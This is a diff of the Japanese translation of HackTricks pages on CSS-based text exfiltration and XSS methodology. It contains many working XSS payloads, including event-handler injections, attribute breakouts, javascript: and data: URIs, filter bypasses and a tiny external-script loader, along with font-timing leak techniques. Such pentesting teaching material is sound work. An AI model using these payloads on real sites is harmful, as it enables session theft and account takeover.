|
||||
@ -742,17 +742,17 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset をデフォルトフォントで要素を隠すことで(外部アセット不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参照:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**参照:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
このケースは前のケースと非常に似ていますが、ここでは特定の **chars を他の文字より大きくして何か(例えば bot に押されないようにするボタンや読み込まれない image)を隠す** ことが目的です。そうすることで、そのアクション(あるいは不作動)を計測して、特定の char がテキスト内に存在するかどうかを判別できます。
|
||||
このケースは前のものと非常に似ていますが、ここでは特定の **chars を他より大きくする目的は、bot に押されないようにボタンや読み込まれない image のようなものを隠すことです。** したがって、その動作(または動作しないこと)を測定することで、特定の char がテキスト内に存在するかどうかを判定できます。
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参照:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**参照:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
この場合は、同一オリジンから fake font を読み込んで、テキストに特定の char があるかどうかを leak しようと試みることができます:
|
||||
この場合、同一オリジンから偽のフォントをロードすることで、テキストに特定の char が含まれているかをleakしようとすることができます:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
一致した場合、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。実際には正常に読み込まれないことが多いですが、**ブラウザはそれをキャッシュするはず**で、キャッシュが無くても **304 not modified** が働くため、**レスポンスは他のリクエストより速くなるはずです**。
|
||||
一致があれば、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。実際に読み込めなくても、**ブラウザはそれをキャッシュするはず**で、キャッシュがなくても**304 not modified**の仕組みがあるため、**レスポンスは他よりも速くなるはずです**。
|
||||
|
||||
ただし、キャッシュ済みレスポンスと未キャッシュのレスポンスの時間差が十分でなければ、有効ではありません。例えば著者は次のように述べています: テストしたところ、第一の問題は速度差があまりないことで、第二の問題はボットが `disk-cache-size=1` フラグを使っていることで、かなり配慮されているという点です。
|
||||
しかし、キャッシュされたレスポンスと非キャッシュのレスポンスの時間差が十分でなければ、これは役に立ちません。例えば、著者は次のように述べています: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset を、ローカルの "fonts" を数百個ロードするタイミングで判別する(外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** これは [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) として言及されています
|
||||
|
||||
この場合、マッチ時に同一オリジンから数百の偽フォントを読み込むような**CSS を指定**できます。こうして読み込みにかかる時間を**計測**し、ある文字が出現するかどうかを次のように判別できます:
|
||||
この場合、マッチが発生したときに同一オリジンから数百の偽フォントを読み込むような **数百の偽フォントを読み込むためのCSS** を指定できます。こうすることで、かかる**時間を測定**し、文字が現れるかどうかを次のように判別できます:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -777,13 +777,13 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
そしてボットのコードは次のとおりです:
|
||||
そして bot のコードは次のとおりです:
|
||||
```python
|
||||
browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
したがって、フォントが一致しない場合、ボットにアクセスした際の応答時間は約30秒になると予想されます。しかし、フォントが一致する場合は、フォントを取得するために複数のリクエストが送信され、ネットワークに継続的な活動が発生します。その結果、停止条件を満たしてレスポンスを受け取るまでに時間がかかります。したがって、応答時間はフォントが一致するかどうかを判断する指標として利用できます。
|
||||
つまり、フォントが一致しない場合、ボットにアクセスしたときの応答時間はおおよそ30秒になります。しかし、フォントが一致する場合はフォントを取得するために複数のリクエストが送信され、ネットワーク上で継続的なアクティビティが発生します。その結果、停止条件を満たしてレスポンスを受け取るまでにより長くかかります。したがって、応答時間はフォント一致を判定するための指標として利用できます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -2,82 +2,83 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 方法論
|
||||
## Methodology
|
||||
|
||||
1. あなたが制御できる任意の値(_parameters_, _path_, _headers_?, _cookies_?)が HTML に **反映されている**か、または **JS** コードで **使用されている**かを確認する。
|
||||
2. どのような**コンテキスト**で反映/使用されているかを特定する。
|
||||
3. **反映されている場合**
|
||||
1. 使用できる記号を確認し、それに応じて payload を準備する:
|
||||
1. **raw HTML** 内:
|
||||
1. 新しい HTML タグを作成できますか?
|
||||
2. `javascript:` プロトコルをサポートするイベントや属性を使えますか?
|
||||
3. 保護をバイパスできますか?
|
||||
4. HTML コンテンツがクライアントサイドの JS エンジン(_AngularJS_, _VueJS_, _Mavo_...)で解釈されている場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md) を悪用できる可能性があります。
|
||||
5. JS コードを実行する HTML タグを作成できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) を悪用できるか確認する。
|
||||
2. **HTML タグ内**:
|
||||
1. raw HTML コンテキストに抜け出せますか?
|
||||
2. JS コードを実行するための新しい events/attributes を作成できますか?
|
||||
3. 自分が取り込まれている属性は JS 実行をサポートしますか?
|
||||
4. 保護をバイパスできますか?
|
||||
3. **JavaScript code** 内:
|
||||
1. `<script>` タグをエスケープできますか?
|
||||
2. 文字列をエスケープして別の JS コードを実行できますか?
|
||||
3. 入力は template literals `` の中ですか?
|
||||
4. 保護をバイパスできますか?
|
||||
4. Javascript の **function** が **実行される**場合:
|
||||
1. 実行する関数名を指定できる。例: `?callback=alert(1)`
|
||||
4. **使用されている場合**:
|
||||
1. **DOM XSS** を悪用できる可能性がある。入力がどのように制御されているか、またその**制御された入力がどの sink によって使用されているか**に注意すること。
|
||||
1. あなたが**制御できる任意の値**(_parameters_, _path_, _headers_?, _cookies_?)がHTMLに**反映**されているか、または**JSコードで使用**されているかを確認する。
|
||||
2. 反映/使用されている**コンテキストを特定**する。
|
||||
3. **reflected**の場合
|
||||
1. **どの記号が使えるか**を確認し、それに応じてペイロードを準備する:
|
||||
1. **raw HTML**の場合:
|
||||
1. 新しいHTMLタグを作成できるか?
|
||||
2. `javascript:`プロトコルをサポートするイベントや属性を使えるか?
|
||||
3. 保護策をバイパスできるか?
|
||||
4. HTMLコンテンツがクライアントサイドのJSエンジン(_AngularJS_, _VueJS_, _Mavo_...)で解釈されている場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md)を悪用できる可能性がある。
|
||||
5. JSを実行するHTMLタグを作成できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)を悪用できないか?
|
||||
2. **HTMLタグ内**の場合:
|
||||
1. raw HTMLコンテキストに脱出できるか?
|
||||
2. JSを実行するための新しいイベント/属性を作成できるか?
|
||||
3. 捕らわれている属性はJS実行をサポートしているか?
|
||||
4. 保護策をバイパスできるか?
|
||||
3. **JavaScriptコード内**の場合:
|
||||
1. `<script>`タグから脱出できるか?
|
||||
2. 文字列をエスケープして別のJSコードを実行できるか?
|
||||
3. 入力がテンプレートリテラル `` 内にあるか?
|
||||
4. 保護策をバイパスできるか?
|
||||
4. 実行されるJavascript **function**
|
||||
1. 実行する関数名を指定できる場合がある。例: `?callback=alert(1)`
|
||||
4. **used**の場合:
|
||||
1. **DOM XSS**を悪用できる可能性がある。入力がどのように制御されているか、あなたの**制御された入力がどのようなsinkで使われているか**に注意する。
|
||||
|
||||
複雑なXSSを扱うときに役立つかもしれない情報:
|
||||
|
||||
複雑な XSS に取り組む際に役立つトピック:
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## 反映された値
|
||||
## Reflected values
|
||||
|
||||
XSS を成功させるために、まず最初に見つける必要があるのは、ウェブページに**反映されているあなたが制御する値**です。
|
||||
XSSを成功させるためにまず見つけるべきは、ウェブページに**反映されているあなたが制御できる値**である。
|
||||
|
||||
- **Intermediately reflected**: パラメータやパスの値がウェブページに反映されている場合、**Reflected XSS** を悪用できる。
|
||||
- **Stored and reflected**: あなたが制御する値がサーバに保存され、ページにアクセスするたびに反映される場合、**Stored XSS** を悪用できる。
|
||||
- **Accessed via JS**: あなたが制御する値が JS でアクセスされていることが判明した場合、**DOM XSS** を悪用できる。
|
||||
- **Intermediately reflected**: パラメータやパスの値がウェブページに反映されていることが分かれば、**Reflected XSS**を悪用できる可能性がある。
|
||||
- **Stored and reflected**: あなたが制御する値がサーバに保存され、ページにアクセスするたびに反映されるなら、**Stored XSS**を悪用できる可能性がある。
|
||||
- **Accessed via JS**: あなたが制御する値がJSでアクセスされている場合、**DOM XSS**を悪用できる可能性がある。
|
||||
|
||||
## コンテキスト
|
||||
## Contexts
|
||||
|
||||
XSS を悪用しようとする際、まず知るべきことは **入力がどこに反映されているか** です。コンテキストに応じて、様々な方法で任意の JS コードを実行できます。
|
||||
XSSを悪用しようとする際にまず知るべきは、**あなたの入力がどこに反映されているか**だ。コンテキストによって、任意のJSコードを実行する方法が変わる。
|
||||
|
||||
### Raw HTML
|
||||
|
||||
入力が **raw HTML に反映されている** 場合、JS コードを実行するためにいくつかの **HTML タグ** を悪用する必要があります: `<img , <iframe , <svg , <script` ... これは使用可能な多くの HTML タグの一部に過ぎません。\
|
||||
また、[Client Side Template Injection](../client-side-template-injection-csti.md) も念頭に置いてください。
|
||||
入力が**raw HTML**ページに反映されている場合、JSコードを実行するために何らかの**HTMLタグ**を悪用する必要がある:`<img , <iframe , <svg , <script` ... これらは使用可能な多数のHTMLタグの一部に過ぎない。\
|
||||
また、[Client Side Template Injection](../client-side-template-injection-csti.md)も念頭に置く。
|
||||
|
||||
### HTML タグ属性内
|
||||
### Inside HTML tags attribute
|
||||
|
||||
入力がタグの属性値内に反映されている場合、次を試せます:
|
||||
入力がタグの属性値として反映されている場合、以下を試すことができる:
|
||||
|
||||
1. 属性とタグから **エスケープ(抜け出す)**(その後 raw HTML になります)して、悪用する新しい HTML タグを作成する: `"><img [...]`
|
||||
2. 属性からはエスケープできるがタグからは抜け出せない場合(`>` がエンコードされるか削除される)、タグによっては JS コードを実行する **イベント** を作成できる: `" autofocus onfocus=alert(1) x="`
|
||||
3. 属性からエスケープできない場合(`"` がエンコードされるか削除される)、どの **attribute** に値が反映されているか、値全体を制御できるのか一部だけかに応じて悪用方法が変わる。例えば `onclick=` のようなイベントを制御できれば、クリック時に任意のコードを実行させることができる。別の興味深い例は `href` 属性で、`javascript:` プロトコルを使って任意のコードを実行できる: **`href="javascript:alert(1)"`**
|
||||
4. 入力が "**unexpoitable tags**" の内部に反映されている場合、**`accesskey`** トリックを試して脆弱性を悪用できる(これを実行するには何らかの social engineering が必要になる): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. **属性とタグから脱出して**(そうすればraw HTMLに入る)新しいHTMLタグを作成して悪用する: `"><img [...]`
|
||||
2. **属性からは脱出できるがタグからは脱出できない**場合(`>`がエンコードされているか削除されている)、タグに応じてJSを実行する**イベント**を作成できる: `" autofocus onfocus=alert(1) x="`
|
||||
3. **属性から脱出できない**場合(`"`がエンコードされているか削除されている)、どの**属性**に反映されているか、そして**値全体を制御しているのか一部だけか**によって悪用方法が変わる。例として、`onclick=`のようなイベントを制御していれば、クリック時に任意のコードを実行させることができる。もう一つの例は`href`属性で、`javascript:`プロトコルを使って任意のコードを実行できる:**`href="javascript:alert(1)"`**
|
||||
4. 入力が**"exploitableでないタグ"**内に反映されている場合、`accesskey`トリックを試して脆弱性を悪用できるかもしれない(これを悪用するには何らかのソーシャルエンジニアリングが必要):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
クラス名を制御できる場合に Angular が XSS を実行する奇妙な例:
|
||||
class名を制御するとAngularでXSSが発生する奇妙な例:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
### JavaScriptコード内
|
||||
### Inside JavaScript code
|
||||
|
||||
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol:
|
||||
この場合、入力はHTMLページの**`<script> [...] </script>`**タグ内、`.js`ファイル内、または**`javascript:`**プロトコルを使った属性内に反映されます:
|
||||
|
||||
- If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **ブラウザがまずHTMLタグを解析する** ためで、注入した `</script>` タグがHTMLコード内にあることに気付かれないからです。
|
||||
- If reflected **inside a JS string** and the last trick isn't working you would need to **抜け出し** the string, **実行** your code and **再構築** the JS code (if there is any error, it won't be executed:
|
||||
- If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **ブラウザはまずHTMLタグを解析し**、その後コンテンツを処理するため、挿入した `</script>` タグがHTMLコード内にあることに気づかないためです。
|
||||
- If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- If reflected inside template literals you can **JS式を埋め込む** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicodeエンコード** works to write **有効な javascript コード**:
|
||||
- If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** は **valid javascript code** を書くために有効です:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -85,8 +86,8 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting は、**使用後に関数、変数またはクラスを宣言できる機会を指し、未宣言の変数や関数を使用する XSS のような状況を悪用できる**ことを意味します。\
|
||||
**詳しくは次のページを確認してください:**
|
||||
Javascript Hoisting は、**関数や変数、クラスを使用した後に宣言できる機会を指し、XSS が未宣言の変数や関数を使っているケースを悪用できます。**\
|
||||
**詳細は次のページを参照してください:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -95,19 +96,19 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
|
||||
多くのウェブページには、**実行する関数名をパラメータとして受け取る** endpoint が存在します。一般的な例は `?callback=callbackFunc` のようなものです。
|
||||
|
||||
A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like:
|
||||
ユーザーから直接渡された値が実行されようとしているかを確かめる良い方法は、**パラメータの値を変更する**(例えば 'Vulnerable' に)ことと、コンソールに次のようなエラーが出るか確認することです:
|
||||
|
||||
.png>)
|
||||
|
||||
In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**).
|
||||
脆弱な場合は、値に **`?callback=alert(1)`** を送るだけで **alert をトリガーできる** ことがあります。しかし、この種の endpoint は一般的に内容を検証して、英数字、ドット、アンダースコアのみを許可する(**`[\w\._]`**)ことが多いです。
|
||||
|
||||
However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**:
|
||||
しかし、その制限があってもいくつかの操作は可能です。これは、有効な文字だけを使って DOM 内の任意の要素に**アクセスできる**ためです:
|
||||
|
||||
.png>)
|
||||
|
||||
Some useful functions for this:
|
||||
これに役立ついくつかの関数:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
@ -115,11 +116,11 @@ nextElementSibiling
|
||||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
You can also try to **Javascript functionsを直接呼び出す**こともできます: `obj.sales.delOrders`.
|
||||
また、**Javascript functions** を直接**呼び出す**ことも試せます: `obj.sales.delOrders`.
|
||||
|
||||
しかし、通常は示された関数を実行するendpointsはあまり興味深いDOMを持たないことが多く、**同一オリジンの他のページ**にはより多くの操作を行うための**より興味深いDOM**が存在します。
|
||||
しかし通常、示された関数を実行するエンドポイントはあまり興味深いDOMを持たないことが多く、**other pages in the same origin** の方が、より多くの操作を行える**more interesting DOM**を持っていることがよくあります。
|
||||
|
||||
したがって、**別のDOMでこの脆弱性を悪用するために**、**Same Origin Method Execution (SOME)** エクスプロイトが開発されました:
|
||||
したがって、別のDOMでこの脆弱性を**abuse**するために、Same Origin Method Execution (SOME) のエクスプロイト手法が開発されました:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -128,7 +129,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
**JS code** が攻撃者が制御する `location.href` のようなデータを**安全でない方法で**使用している場合があります。攻撃者はこれを悪用して任意のJSコードを実行できます。
|
||||
**JS code** が **安全でない方法で** 攻撃者に制御されたデータ(例: `location.href`)を使用していることがあります。攻撃者はこれを悪用して任意の JS コードを実行できます。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -137,8 +138,8 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
この種のXSSは**どこにでも**存在し得ます。これらは単にWebアプリケーションのクライアント側の悪用に依存するのではなく、**任意の****コンテキスト**に依存します。これらの**任意のJavaScript実行**は**RCE**を獲得したり、クライアントやサーバー上の**任意のファイル**を**読み取る**などにも悪用され得ます。\
|
||||
いくつかの**例**:
|
||||
この種のXSSは**anywhere**で見つかることがあります。これらは単にWebアプリケーションのクライアント側での悪用だけに依存するものではなく、**any** **context** に依存します。この種の **arbitrary JavaScript execution** は、**RCE** を得たり、クライアントやサーバー上の任意の **files** を **read** したりするために悪用されることさえあります。\
|
||||
いくつかの **examples**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -154,11 +155,11 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
.jpg>)
|
||||
|
||||
## raw HTML 内へのインジェクション
|
||||
## Injecting inside raw HTML
|
||||
|
||||
あなたの入力が**HTMLページ内**に反映される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、**最初**に行うべきことは `<` を使って新しいタグを作れるかどうかを確認することです。単にその**文字**が反映されるかを試し、それが**HTMLエンコード**されているか、**削除**されているか、あるいは**変更なく反映されている**かを確認してください。**最後の場合にのみこのケースを悪用できます**。\
|
||||
この場合は[**Client Side Template Injection**](../client-side-template-injection-csti.md)**も念頭に置いてください**。\
|
||||
_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
|
||||
入力が**inside the HTML page** に反映される場合、またはこのコンテキストでエスケープを抜けてHTMLコードを注入できる場合、最初に行うべきことは `<` を悪用して新しいタグを作れるかどうかを確認することです。まずその**char** が反映されるか、**HTML encoded** されているか、削除されているか、あるいは**reflected without changes** かをチェックしてください。**最後の場合にのみこのケースを悪用できます**。\
|
||||
これらの場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md) も**keep in mind**してください。\
|
||||
_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
|
||||
|
||||
In this case and if no black/whitelisting is used, you could use payloads like:
|
||||
```html
|
||||
@ -168,14 +169,14 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
ただし、tags/attributes black/whitelisting が使用されている場合、作成できる **brute-force which tags** を特定する必要があります。\
|
||||
一度 **located which tags are allowed** が分かれば、見つかった有効な tags の中でコンテキストを攻撃するために **brute-force attributes/events** を実行する必要があります。
|
||||
ただし、タグ/属性のブラック/ホワイトリスティングが使用されている場合は、作成できる**brute-force which tags**を特定する必要があります。\
|
||||
使用可能な**タグを特定した**ら、見つかった有効なタグ内で属性やイベントを**brute-forceして**、コンテキストをどのように攻撃できるかを確認する必要があります。
|
||||
|
||||
### Tags/Events brute-force
|
||||
### タグ/イベント brute-force
|
||||
|
||||
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
|
||||
|
||||
### Custom tags
|
||||
### カスタムタグ
|
||||
|
||||
If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
|
||||
```
|
||||
@ -183,7 +184,7 @@ If you didn't find any valid HTML tag, you could try to **create a custom tag**
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
もし何らかの blacklist が使われているなら、いくつかの簡単なトリックでそれを bypass できないか試してみてください:
|
||||
何らかの blacklist が使われている場合、いくつかの簡単なトリックでそれを bypass してみてください:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -235,29 +236,29 @@ onerror=alert`1`
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
|
||||
> [!NOTE] > **More tiny XSS for different environments** payload は [**こちら**](https://github.com/terjanq/Tiny-XSS-Payloads) および [**こちら**](https://tinyxss.terjanq.me) で入手できます。
|
||||
> [!NOTE] > **異なる環境向けの追加の tiny XSS payload** [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
これらの文字の詳細は [here](https://www.unicode.org/charts/normalization/) で確認できます。\
|
||||
最後のものは2つの unicode 文字を使っており、5つに展開されます: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization).\
|
||||
どの文字に分解されるかを確認するには [here](https://www.compart.com/en/unicode/U+2121) を参照してください。
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
脆弱性を悪用するために、事前入力されたデータでユーザーがリンクやフォームをクリックする必要がある場合、ページが脆弱であれば[**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)を試すことができます。
|
||||
脆弱性を悪用するために事前入力されたデータを持つリンクやフォームを**ユーザーにクリックしてもらう必要がある**場合、ページが脆弱であれば[**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)を試すことができます。
|
||||
|
||||
### 不可能 - Dangling Markup
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
もし**it's impossible to create an HTML tag with an attribute to execute JS code**と思うなら、[**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。JSコードを実行せずに脆弱性を**exploit**できる可能性があります。
|
||||
もし**HTMLタグに属性を付けてJSコードを実行するようなHTMLタグを作成することは不可能だ**と考えているだけなら、[**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを**実行せずに**脆弱性を**exploit**できる可能性があるからです。
|
||||
|
||||
## HTMLタグ内への注入
|
||||
|
||||
### タグ内/属性値からのエスケープ
|
||||
|
||||
もし**inside a HTML tag**にいる場合、まず試すべきはタグから**escape**して、[previous section](#injecting-inside-raw-html)で述べたテクニックのいくつかを使ってJSコードを実行することです。\
|
||||
もしタグから**cannot escape from the tag**できない場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、次のようなpayloadを使うなど(_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
もし**HTMLタグ内にいる**なら、最初に試すべきことはタグから**escape**して、[previous section](#injecting-inside-raw-html)で述べたいくつかのテクニックを使ってJSコードを実行することです。\
|
||||
もしタグから**escapeできない**場合、タグ内に新しい属性を作成してJSコードを実行しようと試みることができます。例えば次のようなペイロードを使います(_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -274,14 +275,14 @@ The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
```
|
||||
### 属性内
|
||||
|
||||
たとえ **属性からエスケープできない**(`"` がエンコードされるか削除される)場合でも、値が反映される **どの属性か**、また値全体をコントロールしているのか一部だけかによって、悪用することができます。**例えば**、`onclick=` のようなイベントをコントロールできれば、クリック時に任意のコードを実行させることができます。\
|
||||
もう一つ興味深い**例**は属性 `href` で、`javascript:` プロトコルを使って任意のコードを実行できます: **`href="javascript:alert(1)"`**
|
||||
たとえ**属性からエスケープできない**(`"` がエンコードされるか削除される)場合でも、値が反映される**どの属性か**や、値全体を制御しているのか一部だけかによって、悪用できる可能性があります。**例えば**、`onclick=` のようなイベントを制御できれば、クリック時に任意のコードを実行させることができます。\
|
||||
もう一つ興味深い**例**は `href` 属性で、`javascript:` プロトコルを使って任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||
|
||||
**イベント内でのバイパス(HTMLエンコーディング/URLエンコードを使用)**
|
||||
**イベント内でのバイパス(HTMLエンコード/URLエンコード使用)**
|
||||
|
||||
HTMLタグ属性の値内にある **HTMLエンコードされた文字** は **実行時にデコードされます**。したがって次のようなものが有効になります(ペイロードは太字): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコード**されます。したがって、次のようなものが有効になります(ペイロードは太字): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
注意: **あらゆる種類のHTMLエンコードが有効である**:
|
||||
**どんな種類のHTMLエンコードでも有効である**ことに注意してください:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -298,19 +299,19 @@ HTMLタグ属性の値内にある **HTMLエンコードされた文字** は **
|
||||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**URL encodeも動作することに注意してください:**
|
||||
**URL encodeも動作することに注意してください:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**イベント内部で Unicode encode を使用した Bypass**
|
||||
**Bypass: イベント内で Unicode encode を使用**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### 属性内の特殊プロトコル
|
||||
### 属性内の特殊なプロトコル
|
||||
|
||||
ここではプロトコル **`javascript:`** または **`data:`** を一部の箇所で使用して **任意のJSコードを実行する** ことができます。 一部はユーザーの操作を必要としますが、そうでないものもあります。
|
||||
そこでは、特定の箇所でプロトコル **`javascript:`** や **`data:`** を使用して **任意のJSコードを実行する** ことができます。場所によってはユーザー操作が必要なものと、不要なものがあります。
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -332,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**これらのプロトコルを注入できる場所**
|
||||
|
||||
**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れるどのタグでも使用できます**、および **ほとんど** の **`src` 属性** を受け入れるタグでも使用できます(ただし `<img>` は除く)。
|
||||
